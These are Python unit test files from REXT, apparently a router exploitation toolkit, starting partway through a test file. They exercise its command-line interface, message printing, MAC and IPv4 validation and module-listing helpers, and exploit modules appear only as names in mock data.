@unittest.mock.patch("interface.cmdui.interface.utils") 35 | def test_show_command_dirs(self, mock_loader, mock_utils): 36 | mock_loader.check_dependencies.return_value = None 37 | mock_loader.open_database.return_value = None 38 | # mock_utils.list_dirs.side_effect = (("exploits"), ("dlink", "linksys", "zte")) 39 | # mock_utils.lst_files.return_value = {"mod1", "mod2"} 40 | 41 | fake_banner = io.StringIO("Yey banner.txt") 42 | # Mocking banner and DB that are used on Interpreter() init are not that important 43 | with unittest.mock.patch('interface.cmdui.open', return_value=fake_banner, create=True): 44 | cli = self.create() 45 | cli.active_module = {'harvesters': {'airlive': {'WT2000ARM'}}, 46 | 'exploits': {'netgear': {'wndr_auth_bypass', 'n300_auth_bypass'}, 47 | 'zyxel': {'rom-0'}, 48 | 'zte': {'f660_config_download'}, 49 | 'linksys': {'ea6100_auth_bypass'}, 50 | 'dlink': {'dir890l_soapaction', 'dir300_600_exec'}}} 51 | with unittest.mock.patch('sys.stdout', new=io.StringIO()) as mock_stdout: 52 | self.assertFalse(cli.onecmd("show")) 53 | self.assertEqual("""exploits\nharvesters""", mock_stdout.getvalue().strip()) 54 | 55 | @unittest.mock.patch("interface.cmdui.loader") 56 | @unittest.mock.patch("interface.cmdui.interface.utils") 57 | def test_show_command_files(self, mock_loader, mock_utils): 58 | mock_loader.check_dependencies.return_value = None 59 | mock_loader.open_database.return_value = None 60 | # mock_utils.list_dirs.side_effect = (("exploits"), ("dlink", "linksys", "zte")) 61 | # mock_utils.lst_files.return_value = {"mod1", "mod2"} 62 | 63 | fake_banner = io.StringIO("Yey banner.txt") 64 | # Mocking banner and DB that are used on Interpreter() init are not that important 65 | with unittest.mock.patch('interface.cmdui.open', return_value=fake_banner, create=True): 66 | cli = self.create() 67 | cli.active_module = {'dir300_600_exec', 'dir890l_soapaction'} 68 | with unittest.mock.patch('sys.stdout', new=io.StringIO()) as mock_stdout: 69 | self.assertFalse(cli.onecmd("show")) 70 | self.assertEqual("""dir300_600_exec\ndir890l_soapaction""", mock_stdout.getvalue().strip()) 71 | # These were just two basic edge tests for "show" more should be in place 72 | 73 | @unittest.mock.patch("interface.cmdui.loader") 74 | @unittest.mock.patch("interface.cmdui.interface.utils") 75 | def test_load_command_file(self, mock_loader, mock_utils): 76 | mock_loader.check_dependencies.return_value = None 77 | mock_loader.open_database.return_value = None 78 | 79 | fake_banner = io.StringIO("Yey banner.txt") 80 | with unittest.mock.patch('interface.cmdui.open', return_value=fake_banner, create=True): 81 | cli = self.create() 82 | cli.active_module = {'dir300_600_exec', 'dir890l_soapaction'} 83 | self.assertFalse(cli.onecmd("load dir300_600_exec")) 84 | self.assertTrue(mock_loader.load_module.called_with("modules.exploits.dlink.dir300_600_exec")) 85 | 86 | @unittest.mock.patch("interface.cmdui.loader") 87 | @unittest.mock.patch("interface.cmdui.interface.utils") 88 | def test_load_command_dir1(self, mock_loader, mock_utils): 89 | mock_loader.check_dependencies.return_value = None 90 | mock_loader.open_database.return_value = None 91 | 92 | fake_banner = io.StringIO("Yey banner.txt") 93 | with unittest.mock.patch('interface.cmdui.open', return_value=fake_banner, create=True): 94 | cli = self.create() 95 | cli.active_module = {'harvesters': {'airlive': {'WT2000ARM'}}, 96 | 'exploits': {'netgear': {'wndr_auth_bypass', 'n300_auth_bypass'}, 97 | 'zyxel': {'rom-0'}, 98 | 'zte': {'f660_config_download'}, 99 | 'linksys': {'ea6100_auth_bypass'}, 100 | 'dlink': {'dir890l_soapaction', 'dir300_600_exec'}}} 101 | self.assertFalse(cli.onecmd("load exploits")) 102 | self.assertEqual("exploits/", core.globals.active_module_path) 103 | core.globals.active_module_path = "" # Clear active_module_path 104 | 105 | @unittest.mock.patch("interface.cmdui.loader") 106 | @unittest.mock.patch("interface.cmdui.interface.utils") 107 | def test_load_command_dir2(self, mock_loader, mock_utils): 108 | mock_loader.check_dependencies.return_value = None 109 | mock_loader.open_database.return_value = None 110 | 111 | fake_banner = io.StringIO("Yey banner.txt") 112 | with unittest.mock.patch('interface.cmdui.open', return_value=fake_banner, create=True): 113 | cli = self.create() 114 | cli.active_module = {'harvesters': {'airlive': {'WT2000ARM'}}, 115 | 'exploits': {'netgear': {'wndr_auth_bypass', 'n300_auth_bypass'}, 116 | 'zyxel': {'rom-0'}, 117 | 'zte': {'f660_config_download'}, 118 | 'linksys': {'ea6100_auth_bypass'}, 119 | 'dlink': {'dir890l_soapaction', 'dir300_600_exec'}}} 120 | self.assertFalse(cli.onecmd("load exploits/netgear")) 121 | self.assertEqual("exploits/netgear/", core.globals.active_module_path) 122 | core.globals.active_module_path = "" 123 | 124 | @unittest.mock.patch("interface.cmdui.loader") 125 | @unittest.mock.patch("interface.cmdui.interface.utils") 126 | def test_load_command_dir2(self, mock_loader, mock_utils): 127 | mock_loader.check_dependencies.return_value = None 128 | mock_loader.open_database.return_value = None 129 | 130 | fake_banner = io.StringIO("Yey banner.txt") 131 | with unittest.mock.patch('interface.cmdui.open', return_value=fake_banner, create=True): 132 | cli = self.create() 133 | cli.active_module = {'harvesters': {'airlive': {'WT2000ARM'}}, 134 | 'exploits': {'netgear': {'wndr_auth_bypass', 'n300_auth_bypass'}, 135 | 'zyxel': {'rom-0'}, 136 | 'zte': {'f660_config_download'}, 137 | 'linksys': {'ea6100_auth_bypass'}, 138 | 'dlink': {'dir890l_soapaction', 'dir300_600_exec'}}} 139 | self.assertFalse(cli.onecmd("load exploits/netgear")) 140 | self.assertEqual("exploits/netgear/", core.globals.active_module_path) 141 | self.assertFalse(cli.onecmd("unload")) 142 | self.assertEqual("", core.globals.active_module_path) 143 | self.assertEqual(cli.active_module, cli.modules) 144 | 145 | # TODO: This test is broken, hmm I don't know how to fix it right now 146 | # @unittest.mock.patch("interface.cmdui.loader") 147 | # @unittest.mock.patch("interface.cmdui.updater") 148 | # @unittest.mock.patch("interface.cmdui.interface.utils") 149 | # def test_update_command(self, mock_loader, mock_updater, mock_utils): 150 | # mock_loader.check_dependencies.return_value = None 151 | # mock_loader.open_database.return_value = None 152 | # fake_banner = io.StringIO("Yey banner.txt") 153 | # with unittest.mock.patch('interface.cmdui.open', return_value=fake_banner, create=True): 154 | # cli = self.create() 155 | # 156 | # with unittest.mock.patch('sys.stdout', new=io.StringIO()) as mock_stdout: 157 | # self.assertFalse(cli.onecmd("update")) 158 | # self.assertTrue(mock_updater.update_rext.assert_called()) 159 | # self.assertFalse(cli.onecmd("update force")) 160 | # self.assertTrue(mock_updater.update_rext_force.assert_called()) 161 | # self.assertFalse(cli.onecmd("update oui")) 162 | # self.assertTrue(mock_updater.update_oui.assert_called()) 163 | 164 | # I don' believe it's possible to write unittest for autocomplete feature. 165 | 166 | # @unittest.mock.patch("interface.cmdui.loader") 167 | # @unittest.mock.patch("interface.cmdui.interface.utils") 168 | # def test_exit_command(self, mock_loader, mock_utils): 169 | # mock_loader.check_dependencies.return_value = None 170 | # mock_loader.open_database.return_value = None 171 | # fake_banner = io.StringIO("Yey banner.txt") 172 | # with unittest.mock.patch('interface.cmdui.open', return_value=fake_banner, create=True): 173 | # cli = self.create() 174 | # 175 | # with unittest.mock.patch('sys.stdout', new=io.StringIO()) as mock_stdout: 176 | # self.assertTrue(cli.onecmd("exit")) 177 | # self.assertTrue(mock_loader.close_database.assert_called_with()) 178 | 179 | 180 | if __name__ == '__main__': 181 | unittest.main() 182 | 183 | -------------------------------------------------------------------------------- /tests/test_loader.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # test_utils - unit test for core.loader 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | # import unittest 7 | # import unittest.mock 8 | # import core.loader 9 | # 10 | # TODO Tests are broken find a better way how to fix them 11 | # class CmdUiTest(unittest.TestCase): 12 | # 13 | # @unittest.mock.patch("core.loader.sqlite3") 14 | # def test_db_open(self, mock_sqlite): 15 | # path = "./databases/oui.db" 16 | # core.loader.open_database(path) 17 | # self.assertTrue(mock_sqlite.connect.assert_called_once_with(path)) 18 | # 19 | # def test_db_close(self): # Some of these tests are so dumb, don't know why I even bother with them 20 | # connect = unittest.mock.MagicMock() 21 | # core.loader.close_database(connect) 22 | # self.assertTrue(connect.close.assert_called()) 23 | # # Tests for load_module don't seem necessary and I haven't got a clue how to test delete_module() 24 | # 25 | # 26 | # if __name__ == '__main__': 27 | # unittest.main() 28 | -------------------------------------------------------------------------------- /tests/test_messages.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # test_utils - unit test for interface.messages 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import unittest 7 | import unittest.mock 8 | import interface.messages 9 | import builtins 10 | 11 | 12 | class MessagesTest(unittest.TestCase): 13 | 14 | # Test will work only under linux don't know why mocking interface.utils.identify_os screws things 15 | # @unittest.mock.patch("interface.utils.identify_os") 16 | @unittest.mock.patch("builtins.print", autospec=True) # Don't use print in these tests 17 | def test_print_messages(self, mock_builtins): 18 | # mock_utils.return_value = "posix" 19 | test_string = "Hello World" 20 | interface.messages.print_success(test_string) 21 | mock_builtins.assert_called_with("\033[32m\033[1m[+]\033[0m", test_string) 22 | 23 | interface.messages.print_error(test_string) 24 | mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string) 25 | 26 | interface.messages.print_warning(test_string) 27 | mock_builtins.assert_called_with("\033[93m\033[1m[!]\033[0m", test_string) 28 | 29 | interface.messages.print_failed(test_string) 30 | mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string) 31 | 32 | interface.messages.print_help(test_string) 33 | mock_builtins.assert_called_with("\033[95m\033[1m[?]\033[0m", test_string) 34 | 35 | interface.messages.print_info(test_string) 36 | mock_builtins.assert_called_with("\033[94m\033[1m[*]\033[0m", test_string) 37 | 38 | interface.messages.print_green(test_string) 39 | mock_builtins.assert_called_with("\033[32m%s\033[0m" % test_string) 40 | 41 | interface.messages.print_red(test_string) 42 | mock_builtins.assert_called_with("\033[91m%s\033[0m" % test_string) 43 | 44 | interface.messages.print_blue(test_string) 45 | mock_builtins.assert_called_with("\033[94m%s\033[0m" % test_string) 46 | 47 | interface.messages.print_yellow(test_string) 48 | mock_builtins.assert_called_with("\033[93m%s\033[0m" % test_string) 49 | 50 | interface.messages.print_purple(test_string) 51 | mock_builtins.assert_called_with("\033[95m%s\033[0m" % test_string) 52 | 53 | 54 | if __name__ == '__main__': 55 | unittest.main() 56 | -------------------------------------------------------------------------------- /tests/test_utils.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # test_utils - unit test for interface.utils 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import unittest 7 | import unittest.mock 8 | import interface.utils 9 | 10 | 11 | class UtilsTest(unittest.TestCase): 12 | mac_values_good = ("00:11:22:33:44:55", 13 | "00-11-22-33-44-55", 14 | "001122334455") 15 | mac_values_bad = ("00/11/22/33/44/55", 16 | "00:11:22:33:44:55:66", 17 | "00:11,", 18 | "00-11-22-GG-44-55", 19 | "adklsajflskd" 20 | "165460") 21 | 22 | def test_validate_mac_good_values(self): 23 | """validate_mac() should True if mac with either : - or nothing as delimeter""" 24 | for value in self.mac_values_good: 25 | result = interface.utils.validate_mac(value) 26 | self.assertTrue(result) 27 | 28 | def test_validate_mac_bad_values(self): 29 | """validate_mac() should return False if invalid mac is input""" 30 | for value in self.mac_values_bad: 31 | result = interface.utils.validate_mac(value) 32 | self.assertFalse(result) 33 | 34 | ip_values_good = ("192.168.1.1", 35 | "65.32.128.55") 36 | ip_values_bad = ("192.168.1.1.", 37 | "192.168.1.256", 38 | "192.168.256.1", 39 | "192.-1.111.13", 40 | "192.A.13.22", 41 | "sfdsfsdf") 42 | 43 | def test_validate_ipv4_good_values(self): 44 | """True if valid IPv4""" 45 | for value in self.ip_values_good: 46 | result = interface.utils.validate_ipv4(value) 47 | self.assertTrue(result) 48 | 49 | def test_validate_ipv4_bad_values(self): 50 | """False if invalid IPv4""" 51 | for value in self.ip_values_bad: 52 | result = interface.utils.validate_ipv4(value) 53 | self.assertFalse(result) 54 | 55 | @unittest.mock.patch("interface.utils.os") 56 | def test_file_exists(self, mock_os): 57 | """return true if file exists""" 58 | mock_os.path.isfile.return_value = True 59 | result = interface.utils.file_exists("./core/Exploit.py") 60 | 61 | mock_os.path.isfile.assert_called_with("./core/Exploit.py") 62 | self.assertTrue(result) 63 | 64 | mock_os.path.isfile.return_value = False 65 | result = interface.utils.file_exists("./core/Exploit.py") 66 | self.assertFalse(result) 67 | 68 | def test_make_import_name(self): 69 | """make_import_name() should return valid name for loader.py to import""" 70 | string = "exploits/zte/somemodule" 71 | result = interface.utils.make_import_name(string) 72 | self.assertEqual("modules.exploits.zte.somemodule", result) 73 | 74 | @unittest.mock.patch("interface.utils.os") 75 | def test_identify_os(self, mock_os): 76 | """identify_os() should call os.name and return it's value""" 77 | # Another useless test 78 | # anyway these are just simple tests so I can get hang of writing them 79 | mock_os.name = "posix" 80 | interface.utils.identify_os() 81 | self.assertEqual("posix", mock_os.name) 82 | 83 | @unittest.mock.patch("interface.utils.os") 84 | def test_list_dirs(self, mock_os): 85 | """list_dirs() returns list of dirs in path, remove __pychache__ and .cache""" 86 | path = "./" 87 | # I should probably mock .join here but it's not that important I think 88 | mock_os.listdir.return_value = ("decryptors", "exploits", 89 | "misc", "__pycache__", 90 | ".cache", "__init__.py") 91 | # Side effect is a list of return values as isdir() is being called 92 | mock_os.path.isdir.side_effect = [True, True, True, True, True, False] 93 | result = interface.utils.list_dirs(path) 94 | self.assertEqual(result, {"decryptors", "exploits", "misc"}) 95 | 96 | @unittest.mock.patch("interface.utils.os") 97 | def test_list_files(self, mock_os): 98 | """list_files() returns files in path no extension, remove __init__.py""" 99 | path = "./modules/exploits/dlink" 100 | mock_os.listdir.return_value = ("dir300.py", "dir600.py", "__init__.py", "__pycache__") 101 | mock_os.path.isfile.side_effect = [True, True, True, False] 102 | mock_os.path.splitext.side_effect = [("dir300", "py"), ("dir600", "py"), ("__init__", "py")] 103 | result = interface.utils.list_files(path) 104 | self.assertEqual(result, {"dir300", "dir600"}) 105 | 106 | # Don't know how to mock DB cursor, I'm missing something 107 | # @unittest.mock.patch("interface.utils.core.globals.ouidb_conn") 108 | # def test_lookup_mac(self, mock_core_globals): 109 | # """lookup_mac() should return manufacturer name based on OUI""" 110 | # mac = "00:11:22:33:44:55" 111 | # mock_core_globals.cursor().return_value = unittest.mock.MagicMock() 112 | # mock_core_globals.execute().return_value = None 113 | # mock_core_globals.fetchone().return_value = "Cisco" 114 | # result = interface.utils.lookup_mac(mac) 115 | # self.assertEqual(result, "(Cisco)") 116 | # 117 | # mock_core_globals.cursor.fetchone.return_value = None 118 | # result = interface.utils.lookup_mac(mac) 119 | # self.assertEqual(result, "(Unknown)") 120 | 121 | 122 | if __name__ == '__main__': 123 | unittest.main() 124 | --------------------------------------------------------------------------------